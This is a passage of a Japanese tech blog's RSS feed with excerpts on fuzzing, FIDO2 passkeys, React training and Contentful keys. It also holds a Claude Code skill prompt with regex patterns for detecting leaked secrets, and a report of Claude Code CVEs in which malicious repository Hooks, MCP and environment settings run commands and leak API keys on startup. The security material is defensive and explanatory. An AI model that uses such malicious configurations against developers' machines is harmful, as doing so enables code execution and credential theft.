&lt;p&gt;この発表は、CrowdStrike や Cloudflare の株価を8%以上下落させるほどのインパクトを持ちました。セキュリティ業界に何が起きているのか、技術的な背景から掘り下げます。&lt;/p&gt;
&lt;h2 id="ファジングとは何か"&gt;ファジングとは何か&lt;/h2&gt;
&lt;p&gt;ファジング（Fuzzing）は、プログラムに対して無効なデータ、予期しないデータ、ランダムなデータを大量に入力し、クラッシュや異常動作を引き起こすことで脆弱性を検出するテスト手法です。1988年にウィスコンシン大学の Barton Miller 教授が考案し、現在ではセキュリティテストの標準手法となっています。&lt;/p&gt;
&lt;h3 id="ファジングの種類"&gt;ファジングの種類&lt;/h3&gt;
&lt;p&gt;ファジングは、テスト対象の内部構造をどの程度把握しているかによって3つに分類されます。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分類&lt;/th&gt;
&lt;th&gt;内部構造の把握&lt;/th&gt;
&lt;th&gt;特徴&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ブラックボックス&lt;/td&gt;
&lt;td&gt;なし&lt;/td&gt;
&lt;td&gt;入出力のみを観察。実装が不明でも実行可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;グレーボックス&lt;/td&gt;
&lt;td&gt;部分的&lt;/td&gt;
&lt;td&gt;コードカバレッジを計測し、入力生成を最適化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ホワイトボックス&lt;/td&gt;
&lt;td&gt;完全&lt;/td&gt;
&lt;td&gt;ソースコードを解析し、制約条件を満たす入力を生成&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;また、入力データの生成方法でも分類できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ミューテーションファジング&lt;/strong&gt;: 既知の有効な入力（シード）に対して、ビット反転やバイトの挿入・削除・置換などの変異を加えてテストケースを生成します。実装が容易で汎用性が高い手法です&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ジェネレーションファジング&lt;/strong&gt;: 入力データの構造や文法を定義し、仕様に基づいて有効な形式でありながらも不正な値を含むテストケースを生成します。プロトコルやファイルフォーマットのテストに有効です&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="カバレッジガイドファジング--afl-の登場"&gt;カバレッジガイドファジング — AFL の登場&lt;/h3&gt;
&lt;p&gt;2014年に登場した &lt;a href="https://github.com/google/AFL"&gt;AFL（American Fuzzy Lop）&lt;/a&gt;は、ファジングの実用性を大きく向上させました。名前はウサギの品種に由来しています。&lt;/p&gt;
&lt;p&gt;AFL の革新は「カバレッジガイド」の概念です。テスト対象プログラムをインストルメント（計測コードの埋め込み）し、各入力がどの実行経路を通ったかを記録します。新しい経路を発見した入力を優先的にミューテーションすることで、コードの未探索領域へ効率的に到達します。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[シード入力] → [ミューテーション] → [実行・カバレッジ計測]
↑ ↓
└── [新しい経路を発見？] ──┘
Yes → キューに追加
No → 破棄
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;この手法はグレーボックスファジングとも呼ばれ、AFL の後継である AFL++ や Google の libFuzzer など、多くのツールが同様のアプローチを採用しています。&lt;/p&gt;</description></item><item><title>FIDO2 認証（パスキー）の仕組み — パスワードを「構造的に不要にする」技術</title><link>https://hdknr.github.io/blogs/posts/2026/03/fido2-%E8%AA%8D%E8%A8%BC%E3%83%91%E3%82%B9%E3%82%AD%E3%83%BC%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF-%E3%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%E3%82%92%E6%A7%8B%E9%80%A0%E7%9A%84%E3%81%AB%E4%B8%8D%E8%A6%81%E3%81%AB%E3%81%99%E3%82%8B%E6%8A%80%E8%A1%93/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/fido2-%E8%AA%8D%E8%A8%BC%E3%83%91%E3%82%B9%E3%82%AD%E3%83%BC%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF-%E3%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%E3%82%92%E6%A7%8B%E9%80%A0%E7%9A%84%E3%81%AB%E4%B8%8D%E8%A6%81%E3%81%AB%E3%81%99%E3%82%8B%E6%8A%80%E8%A1%93/</guid><description>&lt;h1 id="fido2-認証パスキーの仕組み--パスワードを構造的に不要にする技術"&gt;FIDO2 認証（パスキー）の仕組み — パスワードを「構造的に不要にする」技術&lt;/h1&gt;
&lt;p&gt;サイボウズのバグバウンティで複数年度 1 位の実績を持つセキュリティ研究者 &lt;a href="https://x.com/yousukezan/status/2027925123383366044"&gt;@yousukezan さんのポスト&lt;/a&gt;で紹介されていた、FIDO2 認証（パスキー）の概要記事を深掘りします。元記事は &lt;a href="https://zenn.dev/k_nagano/articles/0fea616a582f01"&gt;Nagano さんの Zenn 記事&lt;/a&gt;です。&lt;/p&gt;
&lt;p&gt;2026 年現在、日本証券業協会がパスキー（FIDO2）の導入を必須化するガイドラインを施行し、楽天証券・SMBC 日興証券などが相次いで導入を進めています。パスキーはもはや「新しい技術」ではなく「必須のインフラ」になりつつあります。&lt;/p&gt;
&lt;h2 id="パスワード認証の根本的な問題"&gt;パスワード認証の根本的な問題&lt;/h2&gt;
&lt;p&gt;パスワード認証には、仕組みそのものに起因する構造的な脆弱性があります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-mermaid" data-lang="mermaid"&gt;graph LR
USER[&amp;#34;ユーザー&amp;#34;] --&amp;gt;|パスワードを送信| SERVER[&amp;#34;サーバー&amp;#34;]
ATTACKER[&amp;#34;攻撃者&amp;#34;] -.-&amp;gt;|盗聴・フィッシング| USER
style USER fill:#3498db,color:#fff
style SERVER fill:#2ecc71,color:#fff
style ATTACKER fill:#e74c3c,color:#fff
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;脅威&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;フィッシング&lt;/td&gt;
&lt;td&gt;偽サイトにパスワードを入力させる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;リスト型攻撃&lt;/td&gt;
&lt;td&gt;漏洩したパスワードを他サービスで試行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中間者攻撃&lt;/td&gt;
&lt;td&gt;通信を傍受してパスワードを盗む&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;サーバー侵害&lt;/td&gt;
&lt;td&gt;サーバーに保存されたパスワードハッシュの漏洩&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これらの問題は「秘密情報（パスワード）をネットワーク経由で送信する」という設計そのものに起因します。ワンタイムパスワード（OTP）でも、この根本構造は変わりません。実際、日本証券業協会は 2025 年 10 月のガイドライン改正で、&lt;strong&gt;OTP の利用を非推奨&lt;/strong&gt;としています。&lt;/p&gt;
&lt;h2 id="fido2-の設計思想--秘密を送らない"&gt;FIDO2 の設計思想 — 「秘密を送らない」&lt;/h2&gt;
&lt;p&gt;FIDO2 は発想を根本から変えました。&lt;strong&gt;秘密情報をネットワーク上に一切流さない&lt;/strong&gt;認証方式です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-mermaid" data-lang="mermaid"&gt;graph LR
subgraph デバイス側
USER2[&amp;#34;ユーザー&amp;#34;] --&amp;gt;|生体認証/PIN| AUTH[&amp;#34;認証器&amp;lt;br/&amp;gt;（TPM等）&amp;#34;]
AUTH --&amp;gt;|秘密鍵で署名| SIGNED[&amp;#34;署名データ&amp;#34;]
end
subgraph サーバー側
SIGNED --&amp;gt;|署名のみ送信| VERIFY[&amp;#34;公開鍵で検証&amp;#34;]
end
style USER2 fill:#3498db,color:#fff
style AUTH fill:#f39c12,color:#fff
style SIGNED fill:#9b59b6,color:#fff
style VERIFY fill:#2ecc71,color:#fff
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;パスワード認証では「秘密そのもの」を送信しますが、FIDO2 では「秘密鍵で作った署名」だけを送信します。秘密鍵はデバイス内の安全な領域（TPM、Secure Enclave 等）に保管され、外部に出ることはありません。&lt;/p&gt;</description></item><item><title>リクルート新卒研修の React 資料が「無料で最高の教材」と言われる理由</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%AA%E3%82%AF%E3%83%AB%E3%83%BC%E3%83%88%E6%96%B0%E5%8D%92%E7%A0%94%E4%BF%AE%E3%81%AE-react-%E8%B3%87%E6%96%99%E3%81%8C%E7%84%A1%E6%96%99%E3%81%A7%E6%9C%80%E9%AB%98%E3%81%AE%E6%95%99%E6%9D%90%E3%81%A8%E8%A8%80%E3%82%8F%E3%82%8C%E3%82%8B%E7%90%86%E7%94%B1/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%AA%E3%82%AF%E3%83%AB%E3%83%BC%E3%83%88%E6%96%B0%E5%8D%92%E7%A0%94%E4%BF%AE%E3%81%AE-react-%E8%B3%87%E6%96%99%E3%81%8C%E7%84%A1%E6%96%99%E3%81%A7%E6%9C%80%E9%AB%98%E3%81%AE%E6%95%99%E6%9D%90%E3%81%A8%E8%A8%80%E3%82%8F%E3%82%8C%E3%82%8B%E7%90%86%E7%94%B1/</guid><description>&lt;h1 id="リクルート新卒研修の-react-資料が無料で最高の教材と言われる理由"&gt;リクルート新卒研修の React 資料が「無料で最高の教材」と言われる理由&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/sigumataityouda/status/2028111546975760640"&gt;sigumataityouda 氏のポスト&lt;/a&gt;が、リクルートの新卒研修資料を「React を語る上で欠かせないもの」「完成度が非常に高い」と紹介しています。リクルートは 2017 年から毎年、新卒エンジニア向け研修資料を無料公開しており、React 研修資料は特に業界で高く評価されています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;React語る上で欠かせないものとしてリクルートの新卒研修資料というのもがある。完成度が非常に高い。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="リクルートの-react-研修資料とは"&gt;リクルートの React 研修資料とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://speakerdeck.com/recruitengineers/react-yan-xiu-2024"&gt;React 研修 (2024)&lt;/a&gt; は、リクルートのエンジニアコース新卒研修「BootCamp」で使われている講義資料です。約 170 スライド以上で構成され、Speaker Deck で無料公開されています。&lt;/p&gt;
&lt;h3 id="研修の位置づけ"&gt;研修の位置づけ&lt;/h3&gt;
&lt;p&gt;リクルートの新卒エンジニアは配属前に約 3 ヶ月間の BootCamp を受講します。&lt;a href="https://techblog.recruit.co.jp/article-4635/"&gt;2024 年度は 24 講座以上&lt;/a&gt;が開講されており、React 研修はフロントエンド技術スタックの中核として位置づけられています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;研修カテゴリ&lt;/th&gt;
&lt;th&gt;主な講座&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;フロントエンド&lt;/td&gt;
&lt;td&gt;JavaScript、TypeScript、&lt;strong&gt;React&lt;/strong&gt;、Next.js&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;バックエンド&lt;/td&gt;
&lt;td&gt;データベース設計、API 設計&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;品質・テスト&lt;/td&gt;
&lt;td&gt;テスト駆動開発（講師: t_wada 氏）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;セキュリティ&lt;/td&gt;
&lt;td&gt;セキュリティ演習&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI&lt;/td&gt;
&lt;td&gt;テキスト生成 AI 活用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;マインドセット&lt;/td&gt;
&lt;td&gt;ソフトウェアエンジニアとしての姿勢と心構え&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;最初の講座「ソフトウェアエンジニアとしての姿勢と心構え」は、技術顧問の t_wada 氏が担当し、「技術の学び方を学ぶ」ことに重点を置いています。&lt;/p&gt;
&lt;h2 id="資料の構成"&gt;資料の構成&lt;/h2&gt;
&lt;p&gt;React 研修資料は 5 つのセクションで構成されています。&lt;/p&gt;
&lt;h3 id="1-web-アプリ開発の変遷"&gt;1. Web アプリ開発の変遷&lt;/h3&gt;
&lt;p&gt;React を学ぶ前に、Web アプリケーション開発がどう進化してきたかを整理します。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;世代&lt;/th&gt;
&lt;th&gt;アーキテクチャ&lt;/th&gt;
&lt;th&gt;特徴&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;第 1 世代&lt;/td&gt;
&lt;td&gt;MPA（クラシック SSR）&lt;/td&gt;
&lt;td&gt;サーバーが HTML を生成、ページ遷移ごとにリロード&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第 2 世代&lt;/td&gt;
&lt;td&gt;MPA + jQuery&lt;/td&gt;
&lt;td&gt;DOM 操作で部分的な動的 UI を実現&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第 3 世代&lt;/td&gt;
&lt;td&gt;SPA（CSR のみ）&lt;/td&gt;
&lt;td&gt;クライアントで描画、リッチな UX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第 4 世代&lt;/td&gt;
&lt;td&gt;SPA（CSR + 事前レンダリング）&lt;/td&gt;
&lt;td&gt;SSR / SSG で初期表示を高速化&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この変遷を理解することで、「なぜ React が必要になったのか」という文脈が掴めます。jQuery 時代の命令的 UI と React の宣言的 UI の違いを、歴史的な流れの中で説明しているのが特徴です。&lt;/p&gt;</description></item><item><title>生成AIで情報漏えいが増える本当の理由 — 「検索者がAIになった」時代の脅威モデルと3層防御</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E7%94%9F%E6%88%90ai%E3%81%A7%E6%83%85%E5%A0%B1%E6%BC%8F%E3%81%88%E3%81%84%E3%81%8C%E5%A2%97%E3%81%88%E3%82%8B%E6%9C%AC%E5%BD%93%E3%81%AE%E7%90%86%E7%94%B1-%E6%A4%9C%E7%B4%A2%E8%80%85%E3%81%8Cai%E3%81%AB%E3%81%AA%E3%81%A3%E3%81%9F%E6%99%82%E4%BB%A3%E3%81%AE%E8%84%85%E5%A8%81%E3%83%A2%E3%83%87%E3%83%AB%E3%81%A83%E5%B1%A4%E9%98%B2%E5%BE%A1/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E7%94%9F%E6%88%90ai%E3%81%A7%E6%83%85%E5%A0%B1%E6%BC%8F%E3%81%88%E3%81%84%E3%81%8C%E5%A2%97%E3%81%88%E3%82%8B%E6%9C%AC%E5%BD%93%E3%81%AE%E7%90%86%E7%94%B1-%E6%A4%9C%E7%B4%A2%E8%80%85%E3%81%8Cai%E3%81%AB%E3%81%AA%E3%81%A3%E3%81%9F%E6%99%82%E4%BB%A3%E3%81%AE%E8%84%85%E5%A8%81%E3%83%A2%E3%83%87%E3%83%AB%E3%81%A83%E5%B1%A4%E9%98%B2%E5%BE%A1/</guid><description>&lt;hr&gt;
&lt;h2 id="auto-memory-や-claudemd-への機密混入env-の-gitignore-漏れ機密ファイルの存在などを検査する"&gt;name: security-check
description: Claude Code 利用における情報漏えいリスクをチェックする。
Auto Memory や CLAUDE.md への機密混入、.env の gitignore 漏れ、機密ファイルの存在などを検査する。&lt;/h2&gt;
&lt;p&gt;Claude Code の利用に関する情報漏えいリスクをチェックしてください。&lt;/p&gt;
&lt;h2 id="チェック対象"&gt;チェック対象&lt;/h2&gt;
&lt;p&gt;以下の 4 カテゴリを順番に検査する。&lt;/p&gt;
&lt;h3 id="1-auto-memory-の機密スキャン"&gt;1. Auto Memory の機密スキャン&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;~/.claude/&lt;/code&gt; 配下の memory ファイルを検査する:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;以下のパスを Glob で列挙する:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;~/.claude/projects/*/memory/*.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.claude/projects/*/memory/**/*.md&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;各ファイルを Read で読み込み、以下のパターンを Grep で検出する:
&lt;ul&gt;
&lt;li&gt;API キー・トークン: &lt;code&gt;(?i)(api[_-]?key|secret[_-]?key|access[_-]?token|bearer)\s*[:=]\s*\S+&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;パスワード: &lt;code&gt;(?i)(password|passwd|pwd)\s*[:=]\s*\S+&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;AWS 認証情報: &lt;code&gt;(?i)(AKIA[0-9A-Z]{16}|aws[_-]?secret)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;接続文字列: &lt;code&gt;(?i)(mysql|postgres|redis|mongodb):\/\/\S+&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;個人情報パターン: メールアドレス、電話番号、マイナンバーらしき数字列&lt;/li&gt;
&lt;li&gt;金額・契約情報: &lt;code&gt;(?i)(契約金額|単価|請求|売上)\s*[:：]\s*[\d,￥¥$]+&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;顧客 ID の具体値: &lt;code&gt;(?i)(顧客id|customer[_-]?id|ユーザーid|user[_-]?id)\s*[:=：]\s*\d+&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;検出があれば、ファイルパス・行番号・該当箇所を報告する&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="2-claudemd-の機密スキャン"&gt;2. CLAUDE.md の機密スキャン&lt;/h3&gt;
&lt;p&gt;プロジェクトの &lt;code&gt;CLAUDE.md&lt;/code&gt; およびグローバルの &lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt; を検査する:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;両ファイルを Read で読み込む&lt;/li&gt;
&lt;li&gt;チェック 1 と同じパターンで Grep 検査する&lt;/li&gt;
&lt;li&gt;加えて、以下も確認する:
&lt;ul&gt;
&lt;li&gt;URL にトークンやキーが含まれていないか（&lt;code&gt;?token=&lt;/code&gt;, &lt;code&gt;?key=&lt;/code&gt;, &lt;code&gt;?secret=&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;内部 IP アドレスやホスト名が含まれていないか&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;CLAUDE.md はリポジトリにコミットされるため、検出時は&lt;strong&gt;即時対応を推奨&lt;/strong&gt;として強調する&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="3-機密ファイルの-gitignore-チェック"&gt;3. 機密ファイルの gitignore チェック&lt;/h3&gt;
&lt;p&gt;プロジェクトルートで以下を確認する:&lt;/p&gt;</description></item><item><title>Claude Code に重大な脆弱性 — リポジトリを開くだけで任意コード実行の恐れ</title><link>https://hdknr.github.io/blogs/posts/2026/02/claude-code-%E3%81%AB%E9%87%8D%E5%A4%A7%E3%81%AA%E8%84%86%E5%BC%B1%E6%80%A7-%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E3%82%92%E9%96%8B%E3%81%8F%E3%81%A0%E3%81%91%E3%81%A7%E4%BB%BB%E6%84%8F%E3%82%B3%E3%83%BC%E3%83%89%E5%AE%9F%E8%A1%8C%E3%81%AE%E6%81%90%E3%82%8C/</link><pubDate>Thu, 26 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/claude-code-%E3%81%AB%E9%87%8D%E5%A4%A7%E3%81%AA%E8%84%86%E5%BC%B1%E6%80%A7-%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E3%82%92%E9%96%8B%E3%81%8F%E3%81%A0%E3%81%91%E3%81%A7%E4%BB%BB%E6%84%8F%E3%82%B3%E3%83%BC%E3%83%89%E5%AE%9F%E8%A1%8C%E3%81%AE%E6%81%90%E3%82%8C/</guid><description>&lt;h1 id="claude-code-に重大な脆弱性--リポジトリを開くだけで任意コード実行の恐れ"&gt;Claude Code に重大な脆弱性 — 「リポジトリを開くだけ」で任意コード実行の恐れ&lt;/h1&gt;
&lt;p&gt;セキュリティ企業 Check Point が、Anthropic の AI コーディング支援ツール &lt;strong&gt;Claude Code&lt;/strong&gt; に複数の重大な脆弱性を発見したと報告しました。細工されたリポジトリを開くだけで不正なコマンドが実行される恐れがあり、AI 開発ツールの信頼モデルに一石を投じる内容です。&lt;/p&gt;
&lt;h2 id="何が起きたのか"&gt;何が起きたのか&lt;/h2&gt;
&lt;p&gt;Claude Code には &lt;strong&gt;Hooks&lt;/strong&gt;（ツール実行前後にシェルコマンドを自動実行する仕組み）、&lt;strong&gt;MCP サーバー&lt;/strong&gt;（外部ツール連携）、&lt;strong&gt;環境変数&lt;/strong&gt;の読み込みといった設定機構があります。これらが悪用されることで、未信頼のディレクトリで Claude Code を起動した際に、&lt;strong&gt;任意のシェルコマンド実行&lt;/strong&gt;や &lt;strong&gt;Anthropic API キーの流出&lt;/strong&gt;が可能となることが判明しました。&lt;/p&gt;
&lt;p&gt;つまり、攻撃者が悪意ある設定ファイルを仕込んだ Git リポジトリを用意し、開発者がそれを &lt;code&gt;git clone&lt;/code&gt; して Claude Code を起動するだけで攻撃が成立します。&lt;/p&gt;
&lt;h2 id="報告された脆弱性"&gt;報告された脆弱性&lt;/h2&gt;
&lt;h3 id="cve-2025-59536cvss-87--high-コードインジェクション"&gt;CVE-2025-59536（CVSS 8.7 / High）— コードインジェクション&lt;/h3&gt;
&lt;p&gt;ツールの初期化時に自動実行を許すコードインジェクションの脆弱性です。Hooks や MCP サーバーの設定を悪用し、Claude Code が起動した瞬間に攻撃者のコマンドが実行されます。リモートコード実行（RCE）に直結する、最も深刻な問題です。&lt;/p&gt;
&lt;h3 id="cve-2026-21852cvss-53--medium-情報漏えい"&gt;CVE-2026-21852（CVSS 5.3 / Medium）— 情報漏えい&lt;/h3&gt;
&lt;p&gt;プロジェクト読み込み時に環境変数の値が外部に漏洩する可能性がある脆弱性です。Anthropic API キーなどの機密情報が窃取されると、攻撃者がそのアカウントで API を不正利用できてしまいます。&lt;/p&gt;
&lt;h3 id="その他の脆弱性"&gt;その他の脆弱性&lt;/h3&gt;
&lt;p&gt;上記 2 件以外にも、同等の深刻度を持つ欠陥が確認されています。&lt;/p&gt;
&lt;h2 id="なぜ危険なのか--設定ファイルが攻撃経路になる"&gt;なぜ危険なのか — 設定ファイルが攻撃経路になる&lt;/h2&gt;
&lt;p&gt;従来のセキュリティモデルでは「コードを実行しなければ安全」という前提がありました。しかし今回の脆弱性では、&lt;strong&gt;設定ファイル自体が攻撃経路&lt;/strong&gt;となります。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;設定機構&lt;/th&gt;
&lt;th&gt;通常の用途&lt;/th&gt;
&lt;th&gt;悪用方法&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Hooks&lt;/td&gt;
&lt;td&gt;ツール実行前後にシェルコマンドを自動実行&lt;/td&gt;
&lt;td&gt;悪意あるコマンドを起動時に自動実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MCP サーバー&lt;/td&gt;
&lt;td&gt;外部ツールとの連携設定&lt;/td&gt;
&lt;td&gt;偽サーバーを指定しデータを外部送信&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;環境変数&lt;/td&gt;
&lt;td&gt;API キーなどの機密情報管理&lt;/td&gt;
&lt;td&gt;設定ファイル経由で値を外部に流出&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;開発者が日常的に行う「リポジトリを clone して開発環境を立ち上げる」という行為自体がリスクになるという点で、VS Code の &lt;code&gt;.vscode/&lt;/code&gt; 設定を悪用する攻撃と同種のパターンです。ただし AI ツールはファイルシステムへの広範なアクセス権とシェルコマンドの実行権を持つため、影響はより深刻になりえます。&lt;/p&gt;</description></item><item><title>Hubspot</title><link>https://hdknr.github.io/blogs/posts/2025/03/hubspot/</link><pubDate>Tue, 25 Mar 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/03/hubspot/</guid><description>&lt;h1 id="cta"&gt;CTA&lt;/h1&gt;
&lt;h2 id="ビデオ埋め込み"&gt;ビデオ埋め込み&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;viemoなどiframe配信できるサーバーにホスティングしているビデオが対象&lt;/li&gt;
&lt;li&gt;vimeoの muted=1&amp;amp;autoplay=1 でも自動再生はできない (セキュリティ上の問題。自動再生は、ユーザーのトリガーがないとしてくれないケースがある)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ショートムービーをアニメーションGIFに変換:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffmpeg -i input.mp4 -r &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; output.gif
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Contentful</title><link>https://hdknr.github.io/blogs/posts/2025/02/contentful/</link><pubDate>Wed, 12 Feb 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/02/contentful/</guid><description>&lt;h1 id="contentful"&gt;Contentful&lt;/h1&gt;
&lt;h2 id="cda--cma"&gt;CDA / CMA&lt;/h2&gt;
&lt;p&gt;Contentful における Content Delivery API キーと CMA トークンの用途の違いについて説明します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Content Delivery API キー (CDA キー)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;用途:&lt;/strong&gt; コンテンツ配信 API (CDA) へのアクセスを認証するために使用されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;役割:&lt;/strong&gt; 公開されたコンテンツを取得するために使用されます。ウェブサイトやモバイルアプリなどのフロントエンドアプリケーションから Contentful のコンテンツを読み込む際に、このキーが使用されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特徴:&lt;/strong&gt; 読み取り専用のアクセス権を持ちます。コンテンツの作成、更新、削除などの変更操作はできません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ:&lt;/strong&gt; 比較的安全性が低いとされています。キーが漏洩した場合でも、コンテンツの変更はできませんが、コンテンツを不正に取得される可能性があります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Content Management API トークン (CMA トークン)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;用途:&lt;/strong&gt; コンテンツ管理 API (CMA) へのアクセスを認証するために使用されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;役割:&lt;/strong&gt; Contentful のコンテンツを管理 (作成、更新、削除など) するために使用されます。Contentful のバックエンドシステムや管理画面、または外部のツールから Contentful のコンテンツを操作する際に、このトークンが使用されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特徴:&lt;/strong&gt; 読み取り/書き込みのアクセス権を持ちます。コンテンツの変更操作が可能です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ:&lt;/strong&gt; 非常に高いセキュリティが必要です。トークンが漏洩した場合、コンテンツを不正に操作される可能性があります。&lt;/li&gt;
&lt;/ul&gt;
